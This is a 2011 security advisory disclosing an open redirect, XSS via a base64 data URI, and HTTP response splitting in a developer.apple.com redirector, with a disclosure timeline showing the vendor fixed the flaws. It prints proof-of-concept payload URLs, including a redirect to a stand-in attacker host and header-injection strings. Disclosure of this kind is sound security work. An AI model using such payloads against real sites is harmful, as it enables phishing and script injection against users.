Vulnerabilities via URL Redirector in developer.apple.com



1. VULNERABILITY DESCRIPTION

Arbitrary URL Redirect
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POC (Browsers: All)
https://developer.apple.com/membercenter/urlRedirect.action?fullURL=http://attacker.in/malware_exists_in_this_page

Issue References:
OWASP Top 10 A10 -
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
CWE 601 -  http://cwe.mitre.org/data/definitions/601.html


Cross Site Scripting(XSS) Via Arbitrary URL Redirect
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POC (Browsers: Safari, Opera):
https://developer.apple.com/membercenter/urlRedirect.action?fullURL=data%3Atext%2Fhtml%3Bbase64%2CPHNjcmlwdD5hbGVydCgiQ3Jvc3MgU2l0ZSBTY3JpcHRpbmcgRGVtbyBieVxuXG55ZWhnLm5ldFxuIik8L3NjcmlwdD4%3D

Issue References:
OWASP Top 10 A2 - https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
CWE 79 - http://cwe.mitre.org/data/definitions/79.html


HTTP Response Splitting(HRS) Via Arbitrary URL Redirect
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https://developer.apple.com/membercenter/urlRedirect.action?fullURL=http://attacker.in%0D%0ALocation%3A%0D%0AContent-Type%3A%20text%2Fhtml%0D%0AContent-Length%3A%2089%0D%0A%0D%0A%3Chtml%3E%3Ctitle%3EThis%20page%20was%20hacked%3F%3C%2Ftitle%3E%3Ch1%3EThis%20page%20was%20hacked%3F%20-%20Not%20Really%3C%2Fh1%3E%3C!--

Issue References:
CWE 113 - http://cwe.mitre.org/data/definitions/113.html


Demo:
http://yehg.net/lab/pr0js/training/view/misc/Vulnerabilities%20Via%20Redirectors%20-%20developer.apple.com/


2. VENDOR

Apple Inc
http://www.apple.com


3. VULNERABILITY STATUS

FIXED


4. DISCLOSURE TIME-LINE

2011-04-25: reported vendor
2011-04-27: vendor replied "Thank you for forwarding this issue to us.
We take any report of a potential security issue
very seriously."
2011-06-29: vendor replied vulnerability was fixed
2011-07-01: vulnerability was disclosed


5. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/sites/developer.apple.com/[apple-developer]_ur_xss_hrs


#yehg [2011-07-01]